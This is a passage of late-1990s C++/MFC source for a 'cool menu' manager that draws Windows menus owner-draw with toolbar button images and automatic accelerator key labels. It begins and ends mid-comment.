// accelerator keys. This results in a memory leak. This was
// fixed by modifying the ~CCoolMenuManager() destructor.
// 1.07 24 Feb 1999 - Koji MATSUNAMI [kmatsu@inse.co.jp] - Fixed problem with
// popup menus being drawn correctly as cool menus.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include "CoolMenu.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// helpers
void PLFillRect(CDC& dc, const CRect& rc, COLORREF color);
void PLDrawEmbossed(CDC& dc, CImageList& il, int i,
CPoint p, BOOL bColor=FALSE);
HBITMAP PLLoadSysColorBitmap(LPCTSTR lpResName, BOOL bMono=FALSE);
inline HBITMAP PLLoadSysColorBitmap(UINT nResID, BOOL bMono=FALSE) {
return PLLoadSysColorBitmap(MAKEINTRESOURCE(nResID), bMono);
}
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CCoolMenuManager::bTRACE = FALSE;
#ifdef _DEBUG
#define CMTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define CMTRACE \
if (bTRACE) \
TRACE
#else
#define CMTRACEFN TRACE
#define CMTRACE TRACE
#endif
// constants used for drawing
const int CXGAP = 1; // num pixels between button and text
const int CXTEXTMARGIN = 2; // num pixels after hilite to start text
const int CXBUTTONMARGIN = 2; // num pixels wider button is than bitmap
const int CYBUTTONMARGIN = 2; // ditto for height
// DrawText flags
const int DT_MYSTANDARD = DT_SINGLELINE|DT_LEFT|DT_VCENTER;
// identifies owner-draw data as mine
const LONG MYITEMID = MAKELONG(MAKEWORD(_T('m'),_T('i')),MAKEWORD(_T('d'),_T('0')));
// private struct: one of these for each owner-draw menu item
struct CMyItemData {
long magicNum; // magic number identifying me
CString text; // item text
UINT fType; // original item type flags
int iButton; // index of button image in image list
CMyItemData() { magicNum = MYITEMID; }
~CMyItemData() { text.Empty(); }
BOOL IsMyItemData() { return magicNum == MYITEMID; }
};
IMPLEMENT_DYNAMIC(CCoolMenuManager, CSubclassWnd)
CCoolMenuManager::CCoolMenuManager()
{
m_szBitmap = m_szButton = CSize(0,0); // will compute later
m_bShowButtons = TRUE; // show buttons by default
m_bAutoAccel = TRUE; // auto accelerators by default
m_hAccel = NULL; // no accelerators loaded yet
m_pAccel = NULL; // no accelerators loaded yet
m_bUseDrawState = FALSE; // use DrawEmbossed by default
m_bDrawDisabledButtonsInColor = FALSE; // use color for disabled buttons
FixMFCDotBitmap();
}
CCoolMenuManager::~CCoolMenuManager()
{
// Jeremy Horgan [jeremyhorgan@hotmail.com]
while (!m_menuList.IsEmpty())
{
ConvertMenu(CMenu::FromHandle((HMENU)m_menuList.RemoveHead()),0,
FALSE, FALSE);
}
Destroy();
}
//////////////////
// Destroy everything. Called from destructor and Refresh.
//
void CCoolMenuManager::Destroy()
{
m_ilButtons.DeleteImageList();
m_mapIDtoImage.RemoveAll();
m_szBitmap = m_szButton = CSize(0,0);
m_arToolbarID.RemoveAll();
m_fontMenu.DeleteObject();
DestroyAccel();
}
/////////////////
// Destroy accelerators
//
void CCoolMenuManager::DestroyAccel()
{
m_mapIDtoAccel.RemoveAll(); // delete ACCEL entries in map
safe_delete(m_pAccel); // delete current accelerators
}
//////////////////
// Call this to install the menu manager. Install(NULL) to un-install.
//
void CCoolMenuManager::Install(CFrameWnd* pFrame)
{
ASSERT_VALID(pFrame);
m_pFrame = pFrame;
HookWindow(pFrame); // install message hook
}
//////////////////
// Load array of toolbar IDs.
//
BOOL CCoolMenuManager::LoadToolbars(const UINT* arID, int n)
{
ASSERT(arID);
BOOL bRet = TRUE;
for (int i=0; i<n; i++)
bRet |= LoadToolbar(arID[i]);
return bRet;
}
// structure of RT_TOOLBAR resource
struct TOOLBARDATA {
WORD wVersion; // version # should be 1
WORD wWidth; // width of one bitmap
WORD wHeight; // height of one bitmap
WORD wItemCount; // number of items
WORD items[1]; // array of command IDs, actual size is wItemCount
};
//////////////////
// Load one toolbar. Assumes bg color is gray.
//
// * add toolbar bitmap to image list
// * add each button ID to button map
//
BOOL CCoolMenuManager::LoadToolbar(UINT nIDToolbar)
{
// load bitmap
HBITMAP hbmToolbar = PLLoadSysColorBitmap(nIDToolbar);
if (!hbmToolbar) {
TRACE(_T("*** Can't load bitmap for toolbar %d!\n"), nIDToolbar);
return FALSE;
}
CBitmap bmToolbar;
bmToolbar.Attach(hbmToolbar); // destructor will detach & destroy
// load toolbar
LPTSTR lpResName = MAKEINTRESOURCE(nIDToolbar);
HINSTANCE hInst;
HRSRC hRsrc;
TOOLBARDATA* ptbd;
if ((hInst= AfxFindResourceHandle(lpResName, RT_TOOLBAR)) == NULL ||
(hRsrc= FindResource(hInst, lpResName, RT_TOOLBAR)) == NULL ||
(ptbd = (TOOLBARDATA*)LoadResource(hInst, hRsrc)) == NULL) {
TRACE(_T("*** Can't load toolbar %d!\n"), nIDToolbar);
return FALSE;
}
ASSERT(ptbd->wVersion==1);
// OK, I have the bitmap and toolbar.
CSize sz(ptbd->wWidth, ptbd->wHeight);
if (m_szBitmap.cx==0) {
// First toolbar: initialized bitmap/button sizes and create image list.
m_szBitmap = sz;
m_szButton = sz + CSize(CXBUTTONMARGIN<<1, CYBUTTONMARGIN<<1);
VERIFY(m_ilButtons.Create(sz.cx, sz.cy, ILC_MASK, 0, 10));
} else if (m_szBitmap != sz) {
// button sizes different -- oops
TRACE(_T("*** Toolbar %d button size differs!\n"), nIDToolbar);
return FALSE;
}
// I have a good toolbar: now add bitmap to the image list, and each
// command ID to m_mapIDtoImage array. Note that LoadSysColorBitmap will
// change gray -> COLOR_3DFACE, so use that for image list background.
//
int iNextImage = m_ilButtons.GetImageCount();
m_ilButtons.Add(&bmToolbar, GetSysColor(COLOR_3DFACE));
for (int i = 0; i < ptbd->wItemCount; i++) {
UINT nID = ptbd->items[i];
if (nID > 0) {
if (GetButtonIndex(nID) >= 0) {
TRACE(_T("*** Duplicate button ID %d ignored\n"), nID);
} else {
m_mapIDtoImage.SetAt(nID, (void*)iNextImage);
TRACE(_T("CCoolMenuManager::LoadToolbar(). Added Menu Id %d, Button Number %d\n"), nID, iNextImage-1);
}
// AB. 13-08-98. Since we've already added the entire toolbar to the imagelist
// we need to increment nNextImage even if we didn't add this button to
// m_mapIDtoImage.
iNextImage++;
}
}
m_arToolbarID.Add(nIDToolbar); // remember toolbar ID for Refresh
bmToolbar.Detach();
return TRUE; // success!
}
//////////////////
// Virtual CSubclassWnd window proc. All messages come here before frame
// window. Isn't it cool? Just like in the old days!
//
LRESULT CCoolMenuManager::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
switch(msg) {
case WM_SYSCOLORCHANGE:
case WM_SETTINGCHANGE:
Refresh();
break;
case WM_MEASUREITEM:
if (OnMeasureItem((MEASUREITEMSTRUCT*)lp))
return TRUE; // handled
break;
case WM_DRAWITEM:
if (OnDrawItem((DRAWITEMSTRUCT*)lp))
return TRUE; // handled
break;
case WM_INITMENUPOPUP:
// Very important: must let frame window handle it first!
// Because if someone calls CCmdUI::SetText, MFC will change item to
// MFT_STRING, so I must change back to MFT_OWNERDRAW.
//
CSubclassWnd::WindowProc(msg, wp, lp);
OnInitMenuPopup(CMenu::FromHandle((HMENU)wp),
(UINT)LOWORD(lp), (BOOL)HIWORD(lp));
return 0;
case WM_MENUSELECT:
OnMenuSelect((UINT)LOWORD(wp), (UINT)HIWORD(wp), (HMENU)lp);
break;
case WM_MENUCHAR:
LRESULT lr = OnMenuChar((TCHAR)LOWORD(wp), (UINT)HIWORD(wp),
CMenu::FromHandle((HMENU)lp));
if (lr!=0)
return lr;
break;
}
return CSubclassWnd::WindowProc(msg, wp, lp);
}
//////////////////
// Refresh all colors, fonts, etc. For WM_SETTINGCHANGE, WM_SYSCOLORCHANGE.
//
void CCoolMenuManager::Refresh()
{
// first copy list (array) of toolbar IDs now loaded.
CUIntArray arToolbarID;
arToolbarID.Copy(m_arToolbarID);
// destroy everything
Destroy();
// re-load toolbars.
int nToolbars = arToolbarID.GetSize();
for (int i = 0; i < nToolbars; i++)
LoadToolbar(arToolbarID[i]);
}
//////////////////
// Get menu font, creating if needed
//
CFont* CCoolMenuManager::GetMenuFont()
{
if (!(HFONT)m_fontMenu) {
NONCLIENTMETRICS info;
info.cbSize = sizeof(info);
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(info), &info, 0);
VERIFY(m_fontMenu.CreateFontIndirect(&info.lfMenuFont));
}
return &m_fontMenu;
}
//////////////////
// Handle WM_MEASUREITEM on behalf of frame: compute menu item size.
//
BOOL CCoolMenuManager::OnMeasureItem(LPMEASUREITEMSTRUCT lpms)
{
ASSERT(lpms);
CMyItemData* pmd = (CMyItemData*)lpms->itemData;
ASSERT(pmd);
if (lpms->CtlType != ODT_MENU || !pmd->IsMyItemData())
return FALSE; // not handled by me
if (pmd->fType & MFT_SEPARATOR) {
// separator: use half system height and zero width
lpms->itemHeight = GetSystemMetrics(SM_CYMENU)>>1;
lpms->itemWidth = 0;
} else {
// compute size of text: use DrawText with DT_CALCRECT
CWindowDC dc(NULL); // screen DC--I won't actually draw on it
CRect rcText(0,0,0,0);
CFont* pOldFont = dc.SelectObject(GetMenuFont());
dc.DrawText(pmd->text, rcText, DT_MYSTANDARD|DT_CALCRECT);
dc.SelectObject(pOldFont);
// height of item is just height of a standard menu item
lpms->itemHeight= max(GetSystemMetrics(SM_CYMENU), rcText.Height());
// width is width of text plus a bunch of stuff
int cx = rcText.Width(); // text width
cx += CXTEXTMARGIN<<1; // L/R margin for readability
cx += CXGAP; // space between button and menu text
cx += m_szButton.cx<<1; // button width (L=button; R=empty margin)
// whatever value I return in lpms->itemWidth, Windows will add the
// width of a menu checkmark, so I must subtract to defeat Windows. Argh.
//
cx -= GetSystemMetrics(SM_CXMENUCHECK)-1;
lpms->itemWidth = cx; // done deal
CMTRACE(_T("OnMeasureItem for '%s':\tw=%d h=%d\n"), (LPCTSTR)pmd->text,
lpms->itemWidth, lpms->itemHeight);
}
return TRUE; // handled
}
/////////////////
// Handle WM_DRAWITEM on behalf of frame. Note: in all that goes
// below, can't assume rcItem.left=0 because of multi-column menus!
//
BOOL CCoolMenuManager::OnDrawItem(LPDRAWITEMSTRUCT lpds)
{
ASSERT(lpds);
// Omar L Francisco
if (lpds->CtlType != ODT_MENU)
return FALSE;
// Omar L Francisco
CMyItemData* pmd = (CMyItemData*)lpds->itemData;
ASSERT(pmd);
if (!pmd->IsMyItemData())
return FALSE;
ASSERT(lpds->itemAction != ODA_FOCUS);
ASSERT(lpds->hDC);
CDC dc;
dc.Attach(lpds->hDC);
const CRect& rcItem = lpds->rcItem;
if (pmd->fType & MFT_SEPARATOR) {
// draw separator
CRect rc = rcItem; // copy rect
rc.top += rc.Height()>>1; // vertical center
dc.DrawEdge(&rc, EDGE_ETCHED, BF_TOP); // draw separator line
} else { // not a separator
CMTRACE(_T("OnDrawItem for '%s':\tw=%d h=%d\n"), (LPCTSTR)pmd->text,
rcItem.Width(), rcItem.Height());
BOOL bDisabled = lpds->itemState & ODS_GRAYED;
BOOL bSelected = lpds->itemState & ODS_SELECTED;
BOOL bChecked = lpds->itemState & ODS_CHECKED;
BOOL bHaveButn=FALSE;
// Paint button, or blank if none
CRect rcButn(rcItem.TopLeft(), m_szButton); // button rect
rcButn += CPoint(0, // center vertically
(rcItem.Height() - rcButn.Height())>>1 );
int iButton = pmd->iButton;
if (iButton >= 0) {
// this item has a button!
bHaveButn = TRUE;
// compute point to start drawing
CSize sz = rcButn.Size() - m_szBitmap;
sz.cx >>= 1;
sz.cy >>= 1;
CPoint p(rcButn.TopLeft() + sz);
// draw disabled or normal
if (!bDisabled) {
// normal: fill BG depending on state
PLFillRect(dc, rcButn, GetSysColor(
(bChecked && !bSelected) ? COLOR_3DLIGHT : COLOR_MENU));
// draw pushed-in or popped-out edge
if (bSelected || bChecked) {
CRect rc2 = rcButn;
dc.DrawEdge(rc2, bChecked ? BDR_SUNKENOUTER : BDR_RAISEDINNER,
BF_RECT);
}
// draw the button!
m_ilButtons.Draw(&dc, iButton, p, ILD_TRANSPARENT);
} else if (m_bUseDrawState) {
// use DrawState to draw disabled button: must convert to icon
HICON hIcon=m_ilButtons.ExtractIcon(iButton);
ASSERT(hIcon);
dc.DrawState(p, CSize(0,0), hIcon, DSS_DISABLED, (HBRUSH)NULL);
DestroyIcon(hIcon);
} else
// use DrawEmbossed to draw disabeld button, w/color flag
PLDrawEmbossed(dc, m_ilButtons, iButton, p,
m_bDrawDisabledButtonsInColor);
} else {
// no button: look for custom checked/unchecked bitmaps
CMenuItemInfo info;
info.fMask = MIIM_CHECKMARKS;
GetMenuItemInfo((HMENU)lpds->hwndItem,
lpds->itemID, MF_BYCOMMAND, &info);
if (bChecked || info.hbmpUnchecked) {
bHaveButn = Draw3DCheckmark(dc, rcButn, bSelected,
bChecked ? info.hbmpChecked : info.hbmpUnchecked);
}
}
// Done with button, now paint text. First do background if needed.
int cxButn = m_szButton.cx; // width of button
COLORREF colorBG = GetSysColor(bSelected ? COLOR_HIGHLIGHT : COLOR_MENU);
if (bSelected || lpds->itemAction==ODA_SELECT) {
// selected or selection state changed: paint text background
CRect rcBG = rcItem; // whole rectangle
if (bHaveButn) // if there's a button:
rcBG.left += cxButn + CXGAP; // don't paint over it!
PLFillRect(dc, rcBG, colorBG); // paint it!
}
// compute text rectangle and colors
CRect rcText = rcItem; // start w/whole item
rcText.left += cxButn + CXGAP + CXTEXTMARGIN; // left margin
rcText.right -= cxButn; // right margin
dc.SetBkMode(TRANSPARENT); // paint transparent text
COLORREF colorText = GetSysColor(bDisabled ? COLOR_GRAYTEXT :
bSelected ? COLOR_HIGHLIGHTTEXT : COLOR_MENUTEXT);
// Now paint menu item text. No need to select font,
// because windows sets it up before sending WM_DRAWITEM
//
if (bDisabled && (!bSelected || colorText == colorBG)) {
// disabled: draw hilite text shifted southeast 1 pixel for embossed
// look. Don't do it if item is selected, tho--unless text color same
// as menu highlight color. Got it?
//
DrawMenuText(dc, rcText + CPoint(1,1), pmd->text,
GetSysColor(COLOR_3DHILIGHT));
}
DrawMenuText(dc, rcText, pmd->text, colorText); // finally!
}
dc.Detach();
return TRUE; // handled
}
/////////////////
// Helper function to draw justified menu text. If the text contains a TAB,
// draw everything after the tab right-aligned
//
void CCoolMenuManager::DrawMenuText(CDC& dc, CRect rc, CString text,
COLORREF color)
{
CString left = text;
CString right;
int iTabPos = left.Find(_T('\t'));
if (iTabPos >= 0) {
right = left.Right(left.GetLength() - iTabPos - 1);
left = left.Left(iTabPos);
}
dc.SetTextColor(color);
dc.DrawText(left, &rc, DT_MYSTANDARD);
if (iTabPos > 0)
dc.DrawText(right, &rc, DT_MYSTANDARD|DT_RIGHT);
}
#ifndef OBM_CHECK
#define OBM_CHECK 32760 // from winuser.h
#endif
//////////////////
// Draw 3D checkmark
//
// dc device context to draw in
// rc rectangle to center bitmap in
// bSelected TRUE if button is also selected
// hbmCheck Checkmark bitmap to use, or NULL for default
//
BOOL CCoolMenuManager::Draw3DCheckmark(CDC& dc, const CRect& rc,
BOOL bSelected, HBITMAP hbmCheck)
{
// get checkmark bitmap if none, use Windows standard
if (!hbmCheck) {
CBitmap bm;
VERIFY(bm.LoadOEMBitmap(OBM_CHECK));
hbmCheck = (HBITMAP)bm.Detach();
ASSERT(hbmCheck);
}
// center bitmap in caller's rectangle
BITMAP bm;
::GetObject(hbmCheck, sizeof(bm), &bm);
int cx = bm.bmWidth;
int cy = bm.bmHeight;
CRect rcDest = rc;
CPoint p(0,0);
CSize delta(CPoint((rc.Width() - cx)/2, (rc.Height() - cy)/2));
if (rc.Width() > cx)
rcDest = CRect(rc.TopLeft() + delta, CSize(cx, cy));
else
p -= delta;
// select checkmark into memory DC
CDC memdc;
memdc.CreateCompatibleDC(&dc);
HBITMAP hOldBM = (HBITMAP)::SelectObject(memdc, hbmCheck);
// set BG color based on selected state
COLORREF colorOld =
dc.SetBkColor(GetSysColor(bSelected ? COLOR_MENU : COLOR_3DLIGHT));
dc.BitBlt(rcDest.left, rcDest.top, rcDest.Width(), rcDest.Height(),
&memdc, p.x, p.y, SRCCOPY);
dc.SetBkColor(colorOld);
::SelectObject(memdc, hOldBM); // restore
// draw pushed-in hilight.
if (rc.Width() > cx) // if room:
rcDest.InflateRect(1,1); // inflate checkmark by one pixel all around
dc.DrawEdge(&rcDest, BDR_SUNKENOUTER, BF_RECT);
return TRUE;
}
//////////////////
// Handle WM_INITMENUPOPUP on behalf of frame.
//
void CCoolMenuManager::OnInitMenuPopup(CMenu* pMenu,
UINT nIndex, BOOL bSysMenu)
{
if (m_bAutoAccel)
{
// check for new accels. If ASSERT bombs,
// you forgot to call Install.
ASSERT_VALID(m_pFrame);
HACCEL hAccel = m_pFrame->GetDefaultAccelerator();
if (hAccel != m_hAccel)
LoadAccel(hAccel);
// 12 Nov 1998 - Wang Jun - Fixes debug assert in system menu.
// Check if click system menu.
if (!bSysMenu) {
ConvertMenu(pMenu, nIndex, bSysMenu, m_bShowButtons);
}
}
ConvertMenu(pMenu, nIndex, bSysMenu, m_bShowButtons);
}
//////////////////
// Set the accelerator table used to generate automatic key
// names in menus. Delete previous table if any.
//
void CCoolMenuManager::LoadAccel(HACCEL hAccel)
{
DestroyAccel();
int nAccel;
if (hAccel && (nAccel = CopyAcceleratorTable(hAccel, NULL, 0)) > 0) {
m_pAccel = new ACCEL [nAccel];
ASSERT(m_pAccel);
CopyAcceleratorTable(hAccel, m_pAccel, nAccel);
// Now I have the accelerators. Look over list, linking each command
// ID with its ACCEL structure--i.e., m_mapIDtoAccel[nID] = ACCEL for
// that ID. If more than one ACCEL for a given command (command has more
// than one shortcut), fix up so ACCEL.cmd is offset of prev ACCEL
//
for (int i=0; i<nAccel; i++) {
ACCEL& ac = m_pAccel[i];
ACCEL* pAccel = GetAccel(ac.cmd);
m_mapIDtoAccel.SetAt(ac.cmd, &ac);
ac.cmd = pAccel ? &ac - pAccel : 0; // ac.cmd = offset of prev, or 0
}
}
}
//////////////////
// This rather gnarly function is used both to convert the menu from strings to
// owner-draw and vice versa. In either case, it also appends automagic
// accelerator key names to the menu items, if m_bAutoAccel is TRUE.
//
void CCoolMenuManager::ConvertMenu(CMenu* pMenu,
UINT nIndex, BOOL bSysMenu, BOOL bShowButtons)
{
ASSERT_VALID(pMenu);
CString sItemName;
UINT nItem = pMenu->GetMenuItemCount();
for (UINT i = 0; i < nItem; i++) {
// loop over each item in menu
// get menu item info
char itemname[256];
CMenuItemInfo info;
info.fMask = MIIM_SUBMENU | MIIM_DATA | MIIM_ID
| MIIM_TYPE;
info.dwTypeData = itemname;
info.cch = sizeof(itemname);
::GetMenuItemInfo(*pMenu, i, TRUE, &info);
CMyItemData* pmd = (CMyItemData*)info.dwItemData;
if (pmd && !pmd->IsMyItemData()) {
CMTRACE(_T("CCoolMenuManager: ignoring foreign owner-draw item\n"));
continue;
// owner-draw menu item isn't mine--leave it alone
}
// Koji MATSUNAMI 1999.2.23
//
if (bSysMenu && info.wID >= 0xF000) {
CMTRACE(_T("CCoolMenuManager: ignoring sys menu item\n"));
continue; // don't do for system menu commands
}
// now that I have the info, I will modify it
info.fMask = 0; // assume nothing to change
if (bShowButtons) {
// I'm showing buttons: convert to owner-draw
if (!(info.fType & MFT_OWNERDRAW)) {
// If not already owner-draw, make it so. NOTE: If app calls
// pCmdUI->SetText to change the text of a menu item, MFC will
// turn the item to MFT_STRING. So I must set it back to
// MFT_OWNERDRAW again. In this case, the menu item data (pmd)
// will still be there.
//
info.fType |= MFT_OWNERDRAW;
info.fMask |= MIIM_TYPE;
if (!pmd) { // if no item data:
pmd = new CMyItemData; // create one
ASSERT(pmd); // (I hope)
pmd->fType = info.fType; // handy when drawing
pmd->iButton = GetButtonIndex(info.wID);
info.dwItemData = (DWORD)pmd; // set in menu item data
info.fMask |= MIIM_DATA; // set item data
}
pmd->text = info.dwTypeData; // copy menu item string
}
// now add the menu to list of "converted" menus
HMENU hmenu = pMenu->GetSafeHmenu();
ASSERT(hmenu);
if (!m_menuList.Find(hmenu))
m_menuList.AddHead(hmenu);
// append accelerators to menu item name
if (m_pAccel && m_bAutoAccel)
AppendAccelName(pmd->text, info.wID);
} else {
// no buttons -- I'm converting to strings
if (info.fType & MFT_OWNERDRAW) { // if ownerdraw:
info.fType &= ~MFT_OWNERDRAW; // turn it off
info.fMask |= MIIM_TYPE; // change item type
ASSERT(pmd); // sanity check
sItemName = pmd->text; // save name before deleting pmd
} else // otherwise:
sItemName = info.dwTypeData; // use name from MENUITEMINFO
if (pmd) {
// NOTE: pmd (item data) could still be left hanging around even
// if MFT_OWNERDRAW is not set, in case mentioned above where app
// calls pCmdUI->SetText to set text of item and MFC sets the type
// to MFT_STRING.
//
info.dwItemData = NULL; // item data is NULL
info.fMask |= MIIM_DATA; // change it
safe_delete(pmd); // and item data too
}
// possibly add accelerator name
if (m_pAccel && m_bAutoAccel && AppendAccelName(sItemName, info.wID))
info.fMask |= MIIM_TYPE; // change item type (string)
if (info.fMask & MIIM_TYPE) {
// if setting name, copy name from CString to buffer and set cch
strncpy(itemname, sItemName, sizeof(itemname));
info.dwTypeData = itemname;
info.cch = sItemName.GetLength();
}
}
// if after all the above, there is anything to change, change it
if (info.fMask) {
CMTRACE(_T("Converting '%s' to %s\n"), itemname,
(info.fType & MFT_OWNERDRAW) ? _T("OWNERDRAW") : _T("STRING"));
SetMenuItemInfo(*pMenu, i, TRUE, &info);
}
}
}
//////////////////
// User typed a char into menu. Look for item with & preceeding the char typed.
//
LRESULT CCoolMenuManager::OnMenuChar(UINT nChar, UINT nFlags, CMenu* pMenu)
{
ASSERT_VALID(pMenu);
UINT iCurrentItem = (UINT)-1; // guaranteed higher than any command ID
CUIntArray arItemsMatched; // items that match the character typed
UINT nItem = pMenu->GetMenuItemCount();
for (UINT i=0; i< nItem; i++) {
// get menu info
CMenuItemInfo info;
info.fMask = MIIM_DATA | MIIM_TYPE | MIIM_STATE;
::GetMenuItemInfo(*pMenu, i, TRUE, &info);
CMyItemData* pmd = (CMyItemData*)info.dwItemData;
if ((info.fType & MFT_OWNERDRAW) && pmd && pmd->IsMyItemData()) {
CString& text = pmd->text;
int iAmpersand = text.Find(_T('&'));
if (iAmpersand >=0 && toupper(nChar)==toupper(text[iAmpersand+1]))
arItemsMatched.Add(i);
}
if (info.fState & MFS_HILITE)
iCurrentItem = i; // note index of current item
}
// arItemsMatched now contains indexes of items that match the char typed.
//
// * if none: beep
// * if one: execute it
// * if more than one: hilite next
//
UINT nFound = arItemsMatched.GetSize();
if (nFound == 0)
return 0;
else if (nFound==1)
return MAKELONG(arItemsMatched[0], MNC_EXECUTE);
// more than one found--return 1st one past current selected item;
UINT iSelect = 0;
int i = 0;
for (i=0; i < nFound; i++) {
if (arItemsMatched[i] > iCurrentItem) {
iSelect = i;
break;
}
}
return MAKELONG(arItemsMatched[iSelect], MNC_SELECT);
}
//////////////////
// Handle WM_MENUSELECT: check for menu closed
//
void CCoolMenuManager::OnMenuSelect(UINT nItemID, UINT nFlags, HMENU hSysMenu)
{
if (hSysMenu==NULL && nFlags==0xFFFF) {
// Windows has closed the menu: restore all menus to original state
while (!m_menuList.IsEmpty()) {
ConvertMenu(CMenu::FromHandle((HMENU)m_menuList.RemoveHead()),
0, FALSE, FALSE);
}
}
}
// fix for virtual key names - Seain Conover (1999/01/09)
CString CCoolMenuManager::GetVirtualKeyName( const CString strVirtKey ) const
{
CString strResult;
if ( strVirtKey == _T("Num 7")) { strResult = _T("Home"); }
else if ( strVirtKey == _T("Num 1")) { strResult = _T("End"); }
else if ( strVirtKey == _T("Num 9")) { strResult = _T("PgUp"); }
else if ( strVirtKey == _T("Num 3")) { strResult = _T("PgDn"); }
else if ( strVirtKey == _T("Num 0")) { strResult = _T("Ins"); }
else if ( strVirtKey == _T("Num Del")) { strResult = _T("Del"); }
else
{
strResult = strVirtKey;
}
return strResult;
}
//////////////////
// Append the name of accelerator for given command ID to menu string.
// sItemName is menu item name, which will have the accelerator appended.
// For example, might call with sItemName = "File &Open" and return with
// sItemName = "File &Open\tCtrl-O". Returns BOOL = whether string changed.
//
BOOL CCoolMenuManager::AppendAccelName(CString& sItemName, UINT nID)
{
int iTabPos = sItemName.Find(_T('\t'));
if (iTabPos > 0)
sItemName = sItemName.Left(iTabPos);
BOOL bFound = FALSE;
for (ACCEL* pa = GetAccel(nID); pa; pa -= pa->cmd) {
sItemName += bFound ? _T(", ") : _T("\t");
if (pa->fVirt & FALT) sItemName += _T("Alt+");
if (pa->fVirt & FCONTROL) sItemName += _T("Ctrl+");
if (pa->fVirt & FSHIFT) sItemName += _T("Shift+");
if (pa->fVirt & FVIRTKEY) {
TCHAR keyname[64];
UINT vkey = MapVirtualKey(pa->key, 0)<<16;
GetKeyNameText(vkey, keyname, sizeof(keyname));
// Seain Conover (1999/01/09)
sItemName += GetVirtualKeyName( keyname );
} else
sItemName += (char)pa->key;
bFound = TRUE;
if (pa->cmd == 0)
break;
}
return bFound;
}
//////////////////
// This function fixes MFC's diseased dot bitmap used for
// "radio-style" menu items (CCmdUI->SetRadio), which is completely
// wrong if the menu font is large.
//
void CCoolMenuManager::FixMFCDotBitmap()
{
HBITMAP hbmDot = GetMFCDotBitmap();
if (hbmDot) {
// Draw a centered dot of appropriate size
BITMAP bm;
::GetObject(hbmDot, sizeof(bm), &bm);
CRect rcDot(0,0, bm.bmWidth, bm.bmHeight);
rcDot.DeflateRect((bm.bmWidth>>1)-2, (bm.bmHeight>>1)-2);
CWindowDC dcScreen(NULL);
CDC memdc;
memdc.CreateCompatibleDC(&dcScreen);
int nSave = memdc.SaveDC();
memdc.SelectStockObject(BLACK_PEN);
memdc.SelectStockObject(BLACK_BRUSH);
memdc.SelectObject((HGDIOBJ)hbmDot);
memdc.PatBlt(0, 0, bm.bmWidth, bm.bmHeight, WHITENESS);
memdc.Ellipse(&rcDot);
memdc.RestoreDC(nSave);
}
}
//////////////////
// This function gets MFC's dot bitmap.
//
HBITMAP CCoolMenuManager::GetMFCDotBitmap()
{
// The bitmap is stored in afxData.hbmMenuDot, but afxData is MFC-private,
// so the only way to get it is create a menu, set the radio check,
// and then see what bitmap MFC set in the menu item.
CMenu menu;
VERIFY(menu.CreateMenu());
VERIFY(menu.AppendMenu(MFT_STRING, 0, (LPCTSTR)NULL));
CCmdUI cui;
cui.m_pMenu = &menu;
cui.m_nIndex = 0;
cui.m_nIndexMax = 1;
cui.SetRadio(TRUE);
CMenuItemInfo info;
info.fMask = MIIM_CHECKMARKS;
GetMenuItemInfo(menu, 0, MF_BYPOSITION, &info);
HBITMAP hbmDot = info.hbmpChecked;
menu.DestroyMenu();
return hbmDot;
}
// Peter Tewkesbury
BOOL CCoolMenuManager::AddSingleBitmap(UINT nBitmapID, UINT n, UINT *nID)
{
// load bitmap
HBITMAP hbmBitmap = (HBITMAP)::LoadImage(AfxGetInstanceHandle(),
MAKEINTRESOURCE(nBitmapID), IMAGE_BITMAP, 0, 0, LR_LOADMAP3DCOLORS);
ASSERT(hbmBitmap);
if (!hbmBitmap) {
TRACE(_T("*** Can't load bitmap %d!\n"), nBitmapID);
return FALSE;
}
// Assign Bitmap to CBitmap
CBitmap bmBitmap;
bmBitmap.Attach(hbmBitmap); // destructor will detach & destroy
// OK, I have the bitmap - Check that Bitmaps are correct size.
if (m_szBitmap.cx==0)
{
// First toolbar: initialized bitmap/button sizes and create image list.
CSize sz(16,15);
m_szBitmap = sz;
m_szButton = sz + CSize(CXBUTTONMARGIN<<1, CYBUTTONMARGIN<<1);
VERIFY(m_ilButtons.Create(sz.cx, sz.cy, ILC_MASK, 0, 10));
}
// Add Bitmap to ImageList
int iNextImage = m_ilButtons.GetImageCount();
m_ilButtons.Add(&bmBitmap, GetSysColor(COLOR_3DFACE));
// Add ID to Map.
for(UINT i=0;i<n;i++)
{
if (nID[i] > 0)
{
if (GetButtonIndex(nID[i]) >= 0)
{
TRACE(_T("*** Duplicate button ID %d ignored\n"), nID[i]);
}
else m_mapIDtoImage.SetAt(nID[i], (void*)iNextImage++);
}
}
// All Done.
return TRUE;
}
////////////////////////////////////////////////////////////////
// Helper functions
//////////////////
// Load a bitmap, converting the standard colors.
// Calls AfxLoadSysColorBitmap to do the work.
//
// RGB(0x00, 0x00, 0x00) (black) --> COLOR_BTNTEXT
// RGB(0x80, 0x80, 0x80) (dark gray) --> COLOR_3DSHADOW
// RGB(0xC0, 0xC0, 0xC0) (gray) --> COLOR_3DFACE
// RGB(0xFF, 0xFF, 0xFF) (white) --> COLOR_3DHILIGHT
//
HBITMAP PLLoadSysColorBitmap(LPCTSTR lpResName, BOOL bMono)
{
HINSTANCE hInst = AfxFindResourceHandle(lpResName, RT_BITMAP);
HRSRC hRsrc = ::FindResource(hInst, lpResName, RT_BITMAP);
if (hRsrc == NULL)
return NULL;
return AfxLoadSysColorBitmap(hInst, hRsrc, bMono);
}
//////////////////
// Shorthand to fill a rectangle with a solid color.
//
void PLFillRect(CDC& dc, const CRect& rc, COLORREF color)
{
CBrush brush(color);
CBrush* pOldBrush = dc.SelectObject(&brush);
dc.PatBlt(rc.left, rc.top, rc.Width(), rc.Height(), PATCOPY);
dc.SelectObject(pOldBrush);
}
// This is the magic ROP code used to generate the embossed look for
// a disabled button. It's listed in Appendix F of the Win32 Programmer's
// Reference as PSDPxax (!) which is a cryptic reverse-polish notation for
//
// ((Destination XOR Pattern) AND Source) XOR Pattern
//
// which I leave to you to figure out. In the case where I apply it,
// Source is a monochrome bitmap which I want to draw in such a way that
// the black pixels get transformed to the brush color and the white pixels
// draw transparently--i.e. leave the Destination alone.
//
// black ==> Pattern (brush)
